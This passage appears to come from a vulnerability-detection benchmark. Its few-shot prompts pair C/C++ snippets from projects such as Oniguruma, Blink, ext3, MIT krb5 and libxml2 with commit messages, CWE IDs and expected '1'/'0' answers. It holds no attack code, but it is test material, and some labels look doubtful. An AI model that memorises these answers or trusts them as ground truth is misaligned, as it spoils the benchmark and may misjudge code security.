1}, {0x118a5, 3525, 1}, {0x1f1b, 2115, 1}, {0x2c1b, 2502, 1}, {0x1e70, 1881, 1}, {0x0470, 1058, 1}, {0x0170, 333, 1}, {0x118b1, 3561, 1}, {0x2c70, 610, 1}, {0x0370, 709, 1}, {0x1e46, 1817, 1}, {0xab70, 1448, 1}, {0x1e66, 1866, 1}, {0x0466, 1043, 1}, {0x0166, 318, 1}, {0x1e44, 1814, 1}, {0x0046, 15, 1}, {0x118af, 3555, 1}, {0xa746, 3027, 1}, {0xffffffff, -1, 0}, {0xa766, 3075, 1}, {0x0044, 9, 1}, {0x118ad, 3549, 1}, {0xa744, 3024, 1}, {0x1e7a, 1896, 1}, {0x047a, 1073, 1}, {0x1e3a, 1799, 1}, {0xffffffff, -1, 0}, {0xa646, 2874, 1}, {0x1f3a, 2154, 1}, {0xa666, 2922, 1}, {0xab7a, 1478, 1}, {0x118a3, 3519, 1}, {0xa644, 2871, 1}, {0xa73a, 3009, 1}, {0xffffffff, -1, 0}, {0x1ef4, 2064, 1}, {0x04f4, 1244, 1}, {0x01f4, 487, 1}, {0x1ff4, 101, 2}, {0x118a1, 3513, 1}, {0x03f4, 762, 1}, {0x1eec, 2052, 1}, {0x04ec, 1232, 1}, {0x01ec, 477, 1}, {0x1fec, 2286, 1}, {0x0546, 1397, 1}, {0x03ec, 872, 1}, {0xffffffff, -1, 0}, {0x013f, 261, 1}, {0x1f3f, 2169, 1}, {0x0544, 1391, 1}, {0x1eea, 2049, 1}, {0x04ea, 1229, 1}, {0x01ea, 474, 1}, {0x1fea, 2256, 1}, {0xffffffff, -1, 0}, {0x03ea, 869, 1}, {0x1ee8, 2046, 1}, {0x04e8, 1226, 1}, {0x01e8, 471, 1}, {0x1fe8, 2280, 1}, {0x053a, 1361, 1}, {0x03e8, 866, 1}, {0x1ee6, 2043, 1}, {0x04e6, 1223, 1}, {0x01e6, 468, 1}, {0x1fe6, 88, 2}, {0x1f4b, 2181, 1}, {0x03e6, 863, 1}, {0x1e5e, 1853, 1}, {0x004b, 27, 1}, {0x015e, 306, 1}, {0x2166, 2310, 1}, {0x1ee4, 2040, 1}, {0x04e4, 1220, 1}, {0x01e4, 465, 1}, {0x1fe4, 80, 2}, {0xa75e, 3063, 1}, {0x03e4, 860, 1}, {0x1ee0, 2034, 1}, {0x04e0, 1214, 1}, {0x01e0, 459, 1}, {0x053f, 1376, 1}, {0x2ce0, 2730, 1}, {0x03e0, 854, 1}, {0x1edc, 2028, 1}, {0x04dc, 1208, 1}, {0xa65e, 2910, 1}, {0xffffffff, -1, 0}, {0x2cdc, 2724, 1}, {0x03dc, 848, 1}, {0x00dc, 159, 1}, {0x1ed0, 2010, 1}, {0x04d0, 1190, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0x2cd0, 2706, 1}, {0x03d0, 742, 1}, {0x00d0, 126, 1}, {0x1ecc, 2004, 1}, {0x054b, 1412, 1}, {0xffffffff, -1, 0}, {0x1fcc, 71, 2}, {0x2ccc, 2700, 1}, {0x1ec6, 1995, 1}, {0x00cc, 114, 1}, {0xffffffff, -1, 0}, {0x1fc6, 67, 2}, {0x2cc6, 2691, 1}, {0x24c8, 2397, 1}, {0x00c6, 96, 1}, {0x04c5, 1172, 1}, {0x01c5, 417, 1}, {0xffffffff, -1, 0}, {0x1fbb, 2229, 1}, {0x24c7, 2394, 1}, {0x00c5, 92, 1}, {0x1fb9, 2271, 1}, {0xabbb, 1673, 1}, {0x24c0, 2373, 1}, {0x04c3, 1169, 1}, {0xabb9, 1667, 1}, {0x1fc3, 71, 2}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0x00c3, 86, 1}, {0x10c5, 2856, 1}, {0x10bb, 2826, 1}, {0x1ed4, 2016, 1}, {0x04d4, 1196, 1}, {0x10b9, 2820, 1}, {0x13fc, 1700, 1}, {0x2cd4, 2712, 1}, {0x0246, 589, 1}, {0x00d4, 138, 1}, {0x10c3, 2850, 1}, {0xffffffff, -1, 0}, {0xff3a, 3234, 1}, {0x0244, 688, 1}, {0x019f, 670, 1}, {0x1f9f, 204, 2}, {0xffffffff, -1, 0}, {0x039f, 789, 1}, {0xffffffff, -1, 0}, {0xab9f, 1589, 1}, {0xffffffff, -1, 0}, {0x10c9f, 3450, 1}, {0x019d, 667, 1}, {0x1f9d, 194, 2}, {0x023a, 2565, 1}, {0x039d, 783, 1}, {0x1e5a, 1847, 1}, {0xab9d, 1583, 1}, {0x015a, 300, 1}, {0x10c9d, 3444, 1}, {0x1e9b, 1856, 1}, {0x24cd, 2412, 1}, {0x005a, 74, 1}, {0x1f9b, 184, 2}, {0xa75a, 3057, 1}, {0x039b, 776, 1}, {0x1ece, 2007, 1}, {0xab9b, 1577, 1}, {0x1e99, 42, 2}, {0x10c9b, 3438, 1}, {0x2cce, 2703, 1}, {0x1f99, 174, 2}, {0x00ce, 120, 1}, {0x0399, 767, 1}, {0xa65a, 2904, 1}, {0xab99, 1571, 1}, {0xffffffff, -1, 0}, {0x10c99, 3432, 1}, {0x0193, 634, 1}, {0x1f93, 184, 2}, {0x1e58, 1844, 1}, {0x0393, 746, 1}, {0x0158, 297, 1}, {0xab93, 1553, 1}, {0xffffffff, -1, 0}, {0x10c93, 3414, 1}, {0x0058, 68, 1}, {0x042d, 977, 1}, {0xa758, 3054, 1}, {0x1f2d, 2139, 1}, {0x2c2d, 2556, 1}, {0x118bb, 3591, 1}, {0x0191, 369, 1}, {0x1f91, 174, 2}, {0x118b9, 3585, 1}, {0x0391, 739, 1}, {0xffffffff, -1, 0}, {0xab91, 1547, 1}, {0xa658, 2901, 1}, {0x10c91, 3408, 1}, {0x018f, 625, 1}, {0x1f8f, 164, 2}, {0xffffffff, -1, 0}, {0x038f, 836, 1}, {0xffffffff, -1, 0}, {0xab8f, 1541, 1}, {0xffffffff, -1, 0}, {0x10c8f, 3402, 1}, {0x018b, 366, 1}, {0x1f8b, 144, 2}, {0xffffffff, -1, 0}, {0x0187, 363, 1}, {0x1f87, 164, 2}, {0xab8b, 1529, 1}, {0xa78b, 3111, 1}, {0x10c8b, 3390, 1}, {0xab87, 1517, 1}, {0x04c1, 1166, 1}, {0x10c87, 3378, 1}, {0x1e7e, 1902, 1}, {0x047e, 1079, 1}, {0xffffffff, -1, 0}, {0x00c1, 80, 1}, {0x2c7e, 580, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xab7e, 1490, 1}, {0xa77e, 3096, 1}, {0x1e76, 1890, 1}, {0x0476, 1067, 1}, {0x0176, 342, 1}, {0x1e42, 1811, 1}, {0x10c1, 2844, 1}, {0x0376, 715, 1}, {0x1e36, 1793, 1}, {0xab76, 1466, 1}, {0x0136, 249, 1}, {0x0042, 3, 1}, {0x1e3e, 1805, 1}, {0xa742, 3021, 1}, {0x1e38, 1796, 1}, {0x1f3e, 2166, 1}, {0xa736, 3003, 1}, {0x1f38, 2148, 1}, {0xffffffff, -1, 0}, {0x0587, 105, 2}, {0xa73e, 3015, 1}, {0xffffffff, -1, 0}, {0xa738, 3006, 1}, {0xa642, 2868, 1}, {0x1e5c, 1850, 1}, {0x1e34, 1790, 1}, {0x015c, 303, 1}, {0x0134, 246, 1}, {0x1ef6, 2067, 1}, {0x04f6, 1247, 1}, {0x01f6, 372, 1}, {0x1ff6, 92, 2}, {0xa75c, 3060, 1}, {0xa734, 3000, 1}, {0x1ef0, 2058, 1}, {0x04f0, 1238, 1}, {0x01f0, 20, 2}, {0xffffffff, -1, 0}, {0x1e30, 1784, 1}, {0x03f0, 772, 1}, {0x0130, 261, 2}, {0x0542, 1385, 1}, {0xa65c, 2907, 1}, {0x1f83, 144, 2}, {0x0536, 1349, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xab83, 1505, 1}, {0x053e, 1373, 1}, {0x10c83, 3366, 1}, {0x0538, 1355, 1}, {0x1eee, 2055, 1}, {0x04ee, 1235, 1}, {0x01ee, 480, 1}, {0x1f8d, 154, 2}, {0xffffffff, -1, 0}, {0x03ee, 875, 1}, {0xffffffff, -1, 0}, {0xab8d, 1535, 1}, {0xa78d, 643, 1}, {0x10c8d, 3396, 1}, {0x0534, 1343, 1}, {0x0181, 613, 1}, {0x1f81, 134, 2}, {0x013d, 258, 1}, {0x1f3d, 2163, 1}, {0xffffffff, -1, 0}, {0xab81, 1499, 1}, {0x017f, 52, 1}, {0x10c81, 3360, 1}, {0x2c7f, 583, 1}, {0x037f, 881, 1}, {0xff2d, 3195, 1}, {0xab7f, 1493, 1}, {0x1e74, 1887, 1}, {0x0474, 1064, 1}, {0x0174, 339, 1}, {0x1e3c, 1802, 1}, {0x0149, 46, 2}, {0x1f49, 2175, 1}, {0x1f3c, 2160, 1}, {0xab74, 1460, 1}, {0x0049, 3606, 1}, {0x0143, 267, 1}, {0x24cc, 2409, 1}, {0xa73c, 3012, 1}, {0xffffffff, -1, 0}, {0x0043, 6, 1}, {0x0141, 264, 1}, {0x24c6, 2391, 1}, {0x013b, 255, 1}, {0x1f3b, 2157, 1}, {0x0041, 0, 1}, {0x0139, 252, 1}, {0x1f39, 2151, 1}, {0x24c5, 2388, 1}, {0x24bb, 2358, 1}, {0x13fa, 1694, 1}, {0x053d, 1370, 1}, {0x24b9, 2352, 1}, {0x0429, 965, 1}, {0x2183, 2340, 1}, {0x1f29, 2127, 1}, {0x2c29, 2544, 1}, {0x24c3, 2382, 1}, {0x10427, 3354, 1}, {0x10425, 3348, 1}, {0x0427, 959, 1}, {0x0425, 953, 1}, {0xffffffff, -1, 0}, {0x2c27, 2538, 1}, {0x2c25, 2532, 1}, {0x0549, 1406, 1}, {0x053c, 1367, 1}, {0x10423, 3342, 1}, {0xffffffff, -1, 0}, {0x0423, 947, 1}, {0x0543, 1388, 1}, {0xffffffff, -1, 0}, {0x2c23, 2526, 1}, {0xff36, 3222, 1}, {0xffffffff, -1, 0}, {0x0541, 1382, 1}, {0x10421, 3336, 1}, {0x053b, 1364, 1}, {0x0421, 941, 1}, {0xff38, 3228, 1}, {0x0539, 1358, 1}, {0x2c21, 2520, 1}, {0x10419, 3312, 1}, {0x10417, 3306, 1}, {0x0419, 917, 1}, {0x0417, 911, 1}, {0x1f19, 2109, 1}, {0x2c19, 2496, 1}, {0x2c17, 2490, 1}, {0x023e, 2568, 1}, {0xff34, 3216, 1}, {0x10415, 3300, 1}, {0x10413, 3294, 1}, {0x0415, 905, 1}, {0x0413, 899, 1}, {0xffffffff, -1, 0}, {0x2c15, 2484, 1}, {0x2c13, 2478, 1}, {0xffffffff, -1, 0}, {0x24ce, 2415, 1}, {0x1040f, 3282, 1}, {0xffffffff, -1, 0}, {0x040f, 1031, 1}, {0xff30, 3204, 1}, {0x1f0f, 2103, 1}, {0x2c0f, 2466, 1}, {0x1040d, 3276, 1}, {0xffffffff, -1, 0}, {0x040d, 1025, 1}, {0x0147, 273, 1}, {0x1f0d, 2097, 1}, {0x2c0d, 2460, 1}, {0x1040b, 3270, 1}, {0x0047, 18, 1}, {0x040b, 1019, 1}, {0x0230, 571, 1}, {0x1f0b, 2091, 1}, {0x2c0b, 2454, 1}, {0x10409, 3264, 1}, {0x10405, 3252, 1}, {0x0409, 1013, 1}, {0x0405, 1001, 1}, {0x1f09, 2085, 1}, {0x2c09, 2448, 1}, {0x2c05, 2436, 1}, {0x10403, 3246, 1}, {0x10401, 3240, 1}, {0x0403, 995, 1}, {0x0401, 989, 1}, {0xffffffff, -1, 0}, {0x2c03, 2430, 1}, {0x2c01, 2424, 1}, {0x13f9, 1691, 1}, {0x042f, 983, 1}, {0xffffffff, -1, 0}, {0x1f2f, 2145, 1}, {0x1041f, 3330, 1}, {0xffffffff, -1, 0}, {0x041f, 935, 1}, {0x023d, 378, 1}, {0x10411, 3288, 1}, {0x2c1f, 2514, 1}, {0x0411, 893, 1}, {0x0547, 1400, 1}, {0xffffffff, -1, 0}, {0x2c11, 2472, 1}, {0x10407, 3258, 1}, {0xffffffff, -1, 0}, {0x0407, 1007, 1}, {0x24c1, 2376, 1}, {0xffffffff, -1, 0}, {0x2c07, 2442, 1}, {0xffffffff, -1, 0}, {0x13f8, 1688, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff39, 3231, 1}, {0xffffffff, -1, 0}, {0x0243, 354, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0x0241, 586, 1}, {0xff29, 3183, 1}, {0x023b, 577, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff27, 3177, 1}, {0xff25, 3171, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff23, 3165, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff21, 3159, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xfb17, 117, 2}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xff2f, 3201, 1}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xfb15, 113, 2}, {0xfb13, 121, 2}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xfb05, 29, 2}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xffffffff, -1, 0}, {0xfb03, 0, 3}, {0xfb01, 8, 2} }; if (0 == 0) { int key = hash(&code); if (key <= MAX_HASH_VALUE && key >= 0) { OnigCodePoint gcode = wordlist[key].code; if (code == gcode) return &wordlist[key]; } } return 0; } Commit Message: fix #56 : return invalid result for codepoint 0xFFFFFFFF CWE ID: CWE-787 Target: 1 Example 2: Code: LayoutUnit RenderLayerScrollableArea::scrollWidth() const { if (m_scrollDimensionsDirty) const_cast<RenderLayerScrollableArea*>(this)->computeScrollDimensions(); return m_overflowRect.width(); } Commit Message: Defer call to updateWidgetPositions() outside of RenderLayerScrollableArea. updateWidgetPositions() can destroy the render tree, so it should never be called from inside RenderLayerScrollableArea. Leaving it there allows for the potential of use-after-free bugs. BUG=402407 [email protected] Review URL: https://codereview.chromium.org/490473003 git-svn-id: svn://svn.chromium.org/blink/trunk@180681 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-416 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static void ext3_clear_journal_err(struct super_block *sb, struct ext3_super_block *es) { journal_t *journal; int j_errno; const char *errstr; journal = EXT3_SB(sb)->s_journal; /* * Now check for any error status which may have been recorded in the * journal by a prior ext3_error() or ext3_abort() */ j_errno = journal_errno(journal); if (j_errno) { char nbuf[16]; errstr = ext3_decode_error(sb, j_errno, nbuf); ext3_warning(sb, __func__, "Filesystem error recorded " "from previous mount: %s", errstr); ext3_warning(sb, __func__, "Marking fs in need of " "filesystem check."); EXT3_SB(sb)->s_mount_state |= EXT3_ERROR_FS; es->s_state |= cpu_to_le16(EXT3_ERROR_FS); ext3_commit_super (sb, es, 1); journal_clear_err(journal); } } Commit Message: ext3: Fix format string issues ext3_msg() takes the printk prefix as the second parameter and the format string as the third parameter. Two callers of ext3_msg omit the prefix and pass the format string as the second parameter and the first parameter to the format string as the third parameter. In both cases this string comes from an arbitrary source. Which means the string may contain format string characters, which will lead to undefined and potentially harmful behavior. The issue was introduced in commit 4cf46b67eb("ext3: Unify log messages in ext3") and is fixed by this patch. CC: [email protected] Signed-off-by: Lars-Peter Clausen <[email protected]> Signed-off-by: Jan Kara <[email protected]> CWE ID: CWE-20 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: EncodedJSValue JSC_HOST_CALL jsTestInterfacePrototypeFunctionSupplementalMethod2(ExecState* exec) { JSValue thisValue = exec->hostThisValue(); if (!thisValue.inherits(&JSTestInterface::s_info)) return throwVMTypeError(exec); JSTestInterface* castedThis = jsCast<JSTestInterface*>(asObject(thisValue)); ASSERT_GC_OBJECT_INHERITS(castedThis, &JSTestInterface::s_info); TestInterface* impl = static_cast<TestInterface*>(castedThis->impl()); if (exec->argumentCount() < 2) return throwVMError(exec, createTypeError(exec, "Not enough arguments")); ExceptionCode ec = 0; ScriptExecutionContext* scriptContext = jsCast<JSDOMGlobalObject*>(exec->lexicalGlobalObject())->scriptExecutionContext(); if (!scriptContext) return JSValue::encode(jsUndefined()); const String& strArg(ustringToString(MAYBE_MISSING_PARAMETER(exec, 0, DefaultIsUndefined).isEmpty() ? UString() : MAYBE_MISSING_PARAMETER(exec, 0, DefaultIsUndefined).toString(exec)->value(exec))); if (exec->hadException()) return JSValue::encode(jsUndefined()); TestObj* objArg(toTestObj(MAYBE_MISSING_PARAMETER(exec, 1, DefaultIsUndefined))); if (exec->hadException()) return JSValue::encode(jsUndefined()); JSC::JSValue result = toJS(exec, castedThis->globalObject(), WTF::getPtr(TestSupplemental::supplementalMethod2(impl, scriptContext, strArg, objArg, ec))); setDOMException(exec, ec); return JSValue::encode(result); } Commit Message: [JSC] Implement a helper method createNotEnoughArgumentsError() https://bugs.webkit.org/show_bug.cgi?id=85102 Reviewed by Geoffrey Garen. In bug 84787, kbr@ requested to avoid hard-coding createTypeError(exec, "Not enough arguments") here and there. This patch implements createNotEnoughArgumentsError(exec) and uses it in JSC bindings. c.f. a corresponding bug for V8 bindings is bug 85097. Source/JavaScriptCore: * runtime/Error.cpp: (JSC::createNotEnoughArgumentsError): (JSC): * runtime/Error.h: (JSC): Source/WebCore: Test: bindings/scripts/test/TestObj.idl * bindings/scripts/CodeGeneratorJS.pm: Modified as described above. (GenerateArgumentsCountCheck): * bindings/js/JSDataViewCustom.cpp: Ditto. (WebCore::getDataViewMember): (WebCore::setDataViewMember): * bindings/js/JSDeprecatedPeerConnectionCustom.cpp: (WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection): * bindings/js/JSDirectoryEntryCustom.cpp: (WebCore::JSDirectoryEntry::getFile): (WebCore::JSDirectoryEntry::getDirectory): * bindings/js/JSSharedWorkerCustom.cpp: (WebCore::JSSharedWorkerConstructor::constructJSSharedWorker): * bindings/js/JSWebKitMutationObserverCustom.cpp: (WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver): (WebCore::JSWebKitMutationObserver::observe): * bindings/js/JSWorkerCustom.cpp: (WebCore::JSWorkerConstructor::constructJSWorker): * bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests. (WebCore::jsFloat64ArrayPrototypeFunctionFoo): * bindings/scripts/test/JS/JSTestActiveDOMObject.cpp: (WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction): (WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage): * bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp: (WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction): * bindings/scripts/test/JS/JSTestEventTarget.cpp: (WebCore::jsTestEventTargetPrototypeFunctionItem): (WebCore::jsTestEventTargetPrototypeFunctionAddEventListener): (WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener): (WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent): * bindings/scripts/test/JS/JSTestInterface.cpp: (WebCore::JSTestInterfaceConstructor::constructJSTestInterface): (WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2): * bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp: (WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod): * bindings/scripts/test/JS/JSTestNamedConstructor.cpp: (WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor): * bindings/scripts/test/JS/JSTestObj.cpp: (WebCore::JSTestObjConstructor::constructJSTestObj): (WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg): (WebCore::jsTestObjPrototypeFunctionMethodReturningSequence): (WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows): (WebCore::jsTestObjPrototypeFunctionSerializedValue): (WebCore::jsTestObjPrototypeFunctionIdbKey): (WebCore::jsTestObjPrototypeFunctionOptionsObject): (WebCore::jsTestObjPrototypeFunctionAddEventListener): (WebCore::jsTestObjPrototypeFunctionRemoveEventListener): (WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg): (WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs): (WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg): (WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod1): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod2): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod3): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod4): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod5): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod6): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod7): (WebCore::jsTestObjConstructorFunctionClassMethod2): (WebCore::jsTestObjConstructorFunctionOverloadedMethod11): (WebCore::jsTestObjConstructorFunctionOverloadedMethod12): (WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray): (WebCore::jsTestObjPrototypeFunctionConvert1): (WebCore::jsTestObjPrototypeFunctionConvert2): (WebCore::jsTestObjPrototypeFunctionConvert3): (WebCore::jsTestObjPrototypeFunctionConvert4): (WebCore::jsTestObjPrototypeFunctionConvert5): (WebCore::jsTestObjPrototypeFunctionStrictFunction): * bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp: (WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface): (WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList): git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-20 Target: 1 Example 2: Code: pdf14_push_transparency_state(gx_device *dev, gs_gstate *pgs) { /* We need to push the current soft mask. We need to be able to recover it if we draw a new one and then obtain a Q operation ( a pop ) */ pdf14_device *pdev = (pdf14_device *)dev; pdf14_ctx *ctx = pdev->ctx; pdf14_mask_t *new_mask; if_debug0m('v', ctx->memory, "pdf14_push_transparency_state\n"); /* We need to push the current mask buffer */ /* Allocate a new element for the stack. Don't do anything if there is no mask present.*/ if ( ctx->mask_stack != NULL ) { new_mask = pdf14_mask_element_new(ctx->memory); /* Duplicate and make the link */ new_mask->rc_mask = ctx->mask_stack->rc_mask; rc_increment(new_mask->rc_mask); new_mask->previous = ctx->mask_stack; ctx->mask_stack = new_mask; } #ifdef DEBUG pdf14_debug_mask_stack_state(pdev->ctx); #endif return(0); } Commit Message: CWE ID: CWE-416 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: krb5_gss_wrap_size_limit(minor_status, context_handle, conf_req_flag, qop_req, req_output_size, max_input_size) OM_uint32 *minor_status; gss_ctx_id_t context_handle; int conf_req_flag; gss_qop_t qop_req; OM_uint32 req_output_size; OM_uint32 *max_input_size; { krb5_gss_ctx_id_rec *ctx; OM_uint32 data_size, conflen; OM_uint32 ohlen; int overhead; /* only default qop is allowed */ if (qop_req != GSS_C_QOP_DEFAULT) { *minor_status = (OM_uint32) G_UNKNOWN_QOP; return(GSS_S_FAILURE); } ctx = (krb5_gss_ctx_id_rec *) context_handle; if (! ctx->established) { *minor_status = KG_CTX_INCOMPLETE; return(GSS_S_NO_CONTEXT); } if (ctx->proto == 1) { /* No pseudo-ASN.1 wrapper overhead, so no sequence length and OID. */ OM_uint32 sz = req_output_size; /* Token header: 16 octets. */ if (conf_req_flag) { krb5_key key; krb5_enctype enctype; key = ctx->have_acceptor_subkey ? ctx->acceptor_subkey : ctx->subkey; enctype = key->keyblock.enctype; while (sz > 0 && krb5_encrypt_size(sz, enctype) + 16 > req_output_size) sz--; /* Allow for encrypted copy of header. */ if (sz > 16) sz -= 16; else sz = 0; #ifdef CFX_EXERCISE /* Allow for EC padding. In the MIT implementation, only added while testing. */ if (sz > 65535) sz -= 65535; else sz = 0; #endif } else { krb5_cksumtype cksumtype; krb5_error_code err; size_t cksumsize; cksumtype = ctx->have_acceptor_subkey ? ctx->acceptor_subkey_cksumtype : ctx->cksumtype; err = krb5_c_checksum_length(ctx->k5_context, cksumtype, &cksumsize); if (err) { *minor_status = err; return GSS_S_FAILURE; } /* Allow for token header and checksum. */ if (sz < 16 + cksumsize) sz = 0; else sz -= (16 + cksumsize); } *max_input_size = sz; *minor_status = 0; return GSS_S_COMPLETE; } /* Calculate the token size and subtract that from the output size */ overhead = 7 + ctx->mech_used->length; data_size = req_output_size; conflen = kg_confounder_size(ctx->k5_context, ctx->enc->keyblock.enctype); data_size = (conflen + data_size + 8) & (~(OM_uint32)7); ohlen = g_token_size(ctx->mech_used, (unsigned int) (data_size + ctx->cksum_size + 14)) - req_output_size; if (ohlen+overhead < req_output_size) /* * Cannot have trailer length that will cause us to pad over our * length. */ *max_input_size = (req_output_size - ohlen - overhead) & (~(OM_uint32)7); else *max_input_size = 0; *minor_status = 0; return(GSS_S_COMPLETE); } Commit Message: Fix gss_process_context_token() [CVE-2014-5352] [MITKRB5-SA-2015-001] The krb5 gss_process_context_token() should not actually delete the context; that leaves the caller with a dangling pointer and no way to know that it is invalid. Instead, mark the context as terminated, and check for terminated contexts in the GSS functions which expect established contexts. Also add checks in export_sec_context and pseudo_random, and adjust t_prf.c for the pseudo_random check. ticket: 8055 (new) target_version: 1.13.1 tags: pullup CWE ID: Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: xmlParsePubidLiteral(xmlParserCtxtPtr ctxt) { xmlChar *buf = NULL; int len = 0; int size = XML_PARSER_BUFFER_SIZE; xmlChar cur; xmlChar stop; int count = 0; xmlParserInputState oldstate = ctxt->instate; SHRINK; if (RAW == '"') { NEXT; stop = '"'; } else if (RAW == '\'') { NEXT; stop = '\''; } else { xmlFatalErr(ctxt, XML_ERR_LITERAL_NOT_STARTED, NULL); return(NULL); } buf = (xmlChar *) xmlMallocAtomic(size * sizeof(xmlChar)); if (buf == NULL) { xmlErrMemory(ctxt, NULL); return(NULL); } ctxt->instate = XML_PARSER_PUBLIC_LITERAL; cur = CUR; while ((IS_PUBIDCHAR_CH(cur)) && (cur != stop)) { /* checked */ if (len + 1 >= size) { xmlChar *tmp; size *= 2; tmp = (xmlChar *) xmlRealloc(buf, size * sizeof(xmlChar)); if (tmp == NULL) { xmlErrMemory(ctxt, NULL); xmlFree(buf); return(NULL); } buf = tmp; } buf[len++] = cur; count++; if (count > 